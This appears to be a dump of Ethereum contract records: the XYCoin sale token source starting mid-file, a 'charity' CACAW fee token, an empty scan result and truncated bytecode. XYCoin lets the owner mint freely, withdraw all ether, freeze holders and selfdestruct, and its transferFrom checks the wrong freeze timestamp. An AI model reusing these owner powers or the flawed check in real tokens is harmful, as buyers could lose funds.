string public name = "XYCoin(逍遥生态币)";
string public symbol = "XYC";
uint8 public decimals =4;
uint256 public totalSupply = 10000000000e4;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public frozenTimestamp;
bool public exchangeFlag = true;
uint256 public minWei = 1;
uint256 public maxWei = 2e18;
uint256 public maxRaiseAmount =20e18;
uint256 public raisedAmount = 0;
uint256 public raiseRatio = 200000;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() public {
totalSupply_ = totalSupply;
owner = msg.sender;
balances[msg.sender] = totalSupply;
}
function()
public payable {
require(msg.value > 0);
if (exchangeFlag) {
if (msg.value >= minWei && msg.value <= maxWei){
if (raisedAmount < maxRaiseAmount) {
uint256 valueNeed = msg.value;
raisedAmount = raisedAmount.add(msg.value);
if (raisedAmount > maxRaiseAmount) {
uint256 valueLeft = raisedAmount.sub(maxRaiseAmount);
valueNeed = msg.value.sub(valueLeft);
msg.sender.transfer(valueLeft);
raisedAmount = maxRaiseAmount;
}
if (raisedAmount >= maxRaiseAmount) {
exchangeFlag = false;
}
uint256 _value = valueNeed.mul(raiseRatio);
require(_value <= balances[owner]);
balances[owner] = balances[owner].sub(_value);
balances[msg.sender] = balances[msg.sender].add(_value);
emit Transfer(owner, msg.sender, _value);
}
} else {
msg.sender.transfer(msg.value);
}
} else {
msg.sender.transfer(msg.value);
}
}
function changeowner(
address _newowner
)
public
returns (bool) {
require(msg.sender == owner);
require(_newowner != address(0));
owner = _newowner;
return true;
}
function generateToken(
address _target,
uint256 _amount
)
public
returns (bool) {
require(msg.sender == owner);
require(_target != address(0));
balances[_target] = balances[_target].add(_amount);
totalSupply_ = totalSupply_.add(_amount);
totalSupply = totalSupply_;
return true;
}
function withdraw (
uint256 _amount
)
public
returns (bool) {
require(msg.sender == owner);
msg.sender.transfer(_amount);
return true;
}
function freeze(
address _target,
bool _freeze
)
public
returns (bool) {
require(msg.sender == owner);
require(_target != address(0));
frozenAccount[_target] = _freeze;
return true;
}
function freezeWithTimestamp(
address _target,
uint256 _timestamp
)
public
returns (bool) {
require(msg.sender == owner);
require(_target != address(0));
frozenTimestamp[_target] = _timestamp;
return true;
}
function multiFreeze(
address[] _targets,
bool[] _freezes
)
public
returns (bool) {
require(msg.sender == owner);
require(_targets.length == _freezes.length);
uint256 len = _targets.length;
require(len > 0);
for (uint256 i = 0; i < len; i = i.add(1)) {
address _target = _targets[i];
require(_target != address(0));
bool _freeze = _freezes[i];
frozenAccount[_target] = _freeze;
}
return true;
}
function multiFreezeWithTimestamp(
address[] _targets,
uint256[] _timestamps
)
public
returns (bool) {
require(msg.sender == owner);
require(_targets.length == _timestamps.length);
uint256 len = _targets.length;
require(len > 0);
for (uint256 i = 0; i < len; i = i.add(1)) {
address _target = _targets[i];
require(_target != address(0));
uint256 _timestamp = _timestamps[i];
frozenTimestamp[_target] = _timestamp;
}
return true;
}
function multiTransfer(
address[] _tos,
uint256[] _values
)
public
returns (bool) {
require(!frozenAccount[msg.sender]);
require(now > frozenTimestamp[msg.sender]);
require(_tos.length == _values.length);
uint256 len = _tos.length;
require(len > 0);
uint256 amount = 0;
for (uint256 i = 0; i < len; i = i.add(1)) {
amount = amount.add(_values[i]);
}
require(amount <= balances[msg.sender]);
for (uint256 j = 0; j < len; j = j.add(1)) {
address _to = _tos[j];
require(_to != address(0));
balances[_to] = balances[_to].add(_values[j]);
balances[msg.sender] = balances[msg.sender].sub(_values[j]);
emit Transfer(msg.sender, _to, _values[j]);
}
return true;
}
function transfer(
address _to,
uint256 _value
)
public
returns (bool) {
require(!frozenAccount[msg.sender]);
require(now > frozenTimestamp[msg.sender]);
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(!frozenAccount[_from]);
require(now > frozenTimestamp[msg.sender]);
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(
address _spender,
uint256 _value
) public
returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function getFrozenTimestamp(
address _target
)
public view
returns (uint256) {
require(_target != address(0));
return frozenTimestamp[_target];
}
function getFrozenAccount(
address _target
)
public view
returns (bool) {
require(_target != address(0));
return frozenAccount[_target];
}
function getBalance()
public view
returns (uint256) {
return address(this).balance;
}
function setExchangeFlag (
bool _flag
)
public
returns (bool) {
require(msg.sender == owner);
exchangeFlag = _flag;
return true;
}
function setMinWei (
uint256 _value
)
public
returns (bool) {
require(msg.sender == owner);
minWei = _value;
return true;
}
function setMaxWei (
uint256 _value
)
public
returns (bool) {
require(msg.sender == owner);
maxWei = _value;
return true;
}
function setMaxRaiseAmount (
uint256 _value
)
public
returns (bool) {
require(msg.sender == owner);
maxRaiseAmount = _value;
return true;
}
function setRaisedAmount (
uint256 _value
)
public
returns (bool) {
require(msg.sender == owner);
raisedAmount = _value;
return true;
}
function setRaiseRatio (
uint256 _value
)
public
returns (bool) {
require(msg.sender == owner);
raiseRatio = _value;
return true;
}
function kill()
public {
require(msg.sender == owner);
selfdestruct(owner);
}
}
|
0x
|
{"success": true, "error": null, "results": {}}
| 8,669 |
0xf51fa0a4608cda574e6bd6a4520dcdac894f6d03
|
/**
CACAW TOKEN ( $CACAW )
CHARITY TOKEN HELPING PROTECT WILDLIFE!
Official links:
Website: www.cacawtoken.com
Twitter: twitter.com/cacawPortal
Telegram: t.me/cacawToken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CACAW is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "CACAW TOKEN";
string private constant _symbol = "$CACAW";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private buyCooldownEnabled = false;
bool private sellCooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setBuyCooldownEnabled(bool onoff) external onlyOwner() {
buyCooldownEnabled = onoff;
}
function setSellCooldownEnabled(bool onoff) external onlyOwner() {
sellCooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(amount <= _maxTxAmount, "Too many tokens.");
// to buyer
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && buyCooldownEnabled) {
require(tradingOpen, "Trading not yet enabled.");
require(cooldown[to] < block.timestamp, "Your transaction cooldown has not expired.");
cooldown[to] = block.timestamp + (1 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
// from seller
if (!inSwap && from != uniswapV2Pair && tradingOpen) {
require(amount <= 1e8 * 10**9);
if(sellCooldownEnabled) {
require(cooldown[from] < block.timestamp, "Your transaction cooldown has not expired.");
cooldown[from] = block.timestamp + (90 seconds);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
sellCooldownEnabled = false;
buyCooldownEnabled = false;
tradingOpen = true;
_maxTxAmount = 1e12 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxAmount(uint256 amount) external onlyOwner() {
require(amount > 0, "Amount must be greater than 0");
_maxTxAmount = amount;
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function maxTxAmount() public view returns (uint) {
return _maxTxAmount;
}
function sellCooldown() public view returns (bool) {
return sellCooldownEnabled;
}
function buyCooldown() public view returns (bool) {
return buyCooldownEnabled;
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063acaf4a801161006f578063acaf4a80146103dd578063c3c8cd8014610406578063d543dbeb1461041d578063dd62ed3e14610446578063e8078d9414610483578063ec28438a1461049a57610135565b8063715018a6146103085780638c0b5e221461031f5780638da5cb5b1461034a57806395d89b4114610375578063a9059cbb146103a057610135565b8063313ce567116100f2578063313ce5671461023557806356c2c6be146102605780636fc3eaec14610289578063704fbfe5146102a057806370a08231146102cb57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a25780631b2773c2146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104c3565b60405161015c9190612da5565b60405180910390f35b34801561017157600080fd5b5061018c600480360381019061018791906128c3565b610500565b6040516101999190612d8a565b60405180910390f35b3480156101ae57600080fd5b506101b761051e565b6040516101c49190612f87565b60405180910390f35b3480156101d957600080fd5b506101e261052f565b6040516101ef9190612d8a565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a9190612874565b610546565b60405161022c9190612d8a565b60405180910390f35b34801561024157600080fd5b5061024a61061f565b6040516102579190612ffc565b60405180910390f35b34801561026c57600080fd5b50610287600480360381019061028291906128ff565b610628565b005b34801561029557600080fd5b5061029e6106da565b005b3480156102ac57600080fd5b506102b561074c565b6040516102c29190612d8a565b60405180910390f35b3480156102d757600080fd5b506102f260048036038101906102ed91906127e6565b610763565b6040516102ff9190612f87565b60405180910390f35b34801561031457600080fd5b5061031d6107b4565b005b34801561032b57600080fd5b50610334610907565b6040516103419190612f87565b60405180910390f35b34801561035657600080fd5b5061035f610911565b60405161036c9190612cbc565b60405180910390f35b34801561038157600080fd5b5061038a61093a565b6040516103979190612da5565b60405180910390f35b3480156103ac57600080fd5b506103c760048036038101906103c291906128c3565b610977565b6040516103d49190612d8a565b60405180910390f35b3480156103e957600080fd5b5061040460048036038101906103ff91906128ff565b610995565b005b34801561041257600080fd5b5061041b610a47565b005b34801561042957600080fd5b50610444600480360381019061043f9190612951565b610ac1565b005b34801561045257600080fd5b5061046d60048036038101906104689190612838565b610c0a565b60405161047a9190612f87565b60405180910390f35b34801561048f57600080fd5b50610498610c91565b005b3480156104a657600080fd5b506104c160048036038101906104bc9190612951565b6111ee565b005b60606040518060400160405280600b81526020017f434143415720544f4b454e000000000000000000000000000000000000000000815250905090565b600061051461050d611309565b8484611311565b6001905092915050565b6000683635c9adc5dea00000905090565b6000601060179054906101000a900460ff16905090565b60006105538484846114dc565b6106148461055f611309565b61060f8560405180606001604052806028815260200161363e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105c5611309565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b779092919063ffffffff16565b611311565b600190509392505050565b60006009905090565b610630611309565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b490612ea7565b60405180910390fd5b80601060166101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661071b611309565b73ffffffffffffffffffffffffffffffffffffffff161461073b57600080fd5b600047905061074981611bdb565b50565b6000601060169054906101000a900460ff16905090565b60006107ad600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cd6565b9050919050565b6107bc611309565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610849576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084090612ea7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000601154905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f2443414341570000000000000000000000000000000000000000000000000000815250905090565b600061098b610984611309565b84846114dc565b6001905092915050565b61099d611309565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2190612ea7565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a88611309565b73ffffffffffffffffffffffffffffffffffffffff1614610aa857600080fd5b6000610ab330610763565b9050610abe81611d44565b50565b610ac9611309565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4d90612ea7565b60405180910390fd5b60008111610b99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9090612e47565b60405180910390fd5b610bc86064610bba83683635c9adc5dea0000061203e90919063ffffffff16565b6120b990919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601154604051610bff9190612f87565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c99611309565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1d90612ea7565b60405180910390fd5b601060149054906101000a900460ff1615610d76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6d90612f47565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e0630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611311565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e4c57600080fd5b505afa158015610e60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e84919061280f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ee657600080fd5b505afa158015610efa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1e919061280f565b6040518363ffffffff1660e01b8152600401610f3b929190612cd7565b602060405180830381600087803b158015610f5557600080fd5b505af1158015610f69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8d919061280f565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061101630610763565b600080611021610911565b426040518863ffffffff1660e01b815260040161104396959493929190612d29565b6060604051808303818588803b15801561105c57600080fd5b505af1158015611070573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611095919061297a565b5050506000601060176101000a81548160ff0219169083151502179055506000601060166101000a81548160ff0219169083151502179055506001601060146101000a81548160ff021916908315150217905550683635c9adc5dea00000601181905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611198929190612d00565b602060405180830381600087803b1580156111b257600080fd5b505af11580156111c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ea9190612928565b5050565b6111f6611309565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611283576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127a90612ea7565b60405180910390fd5b600081116112c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bd90612e47565b60405180910390fd5b806011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6011546040516112fe9190612f87565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611381576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137890612f07565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e890612e07565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114cf9190612f87565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561154c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154390612ee7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b390612dc7565b60405180910390fd5b600081116115ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f690612ec7565b60405180910390fd5b611607610911565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116755750611645610911565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ab4576011548111156116bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b690612f27565b60405180910390fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561176a5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117c05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117d85750601060169054906101000a900460ff165b156118fe57601060149054906101000a900460ff1661182c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182390612f67565b60405180910390fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106118ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a490612e67565b60405180910390fd5b6001426118ba919061306c565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061190930610763565b9050601060159054906101000a900460ff161580156119765750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561198e5750601060149054906101000a900460ff165b15611ab25767016345785d8a00008211156119a857600080fd5b601060179054906101000a900460ff1615611a8f5742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3590612e67565b60405180910390fd5b605a42611a4b919061306c565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611a9881611d44565b60004790506000811115611ab057611aaf47611bdb565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b5b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b6557600090505b611b7184848484612103565b50505050565b6000838311158290611bbf576040517f08c379a000000000000000000000000000000000000000000000000000000000815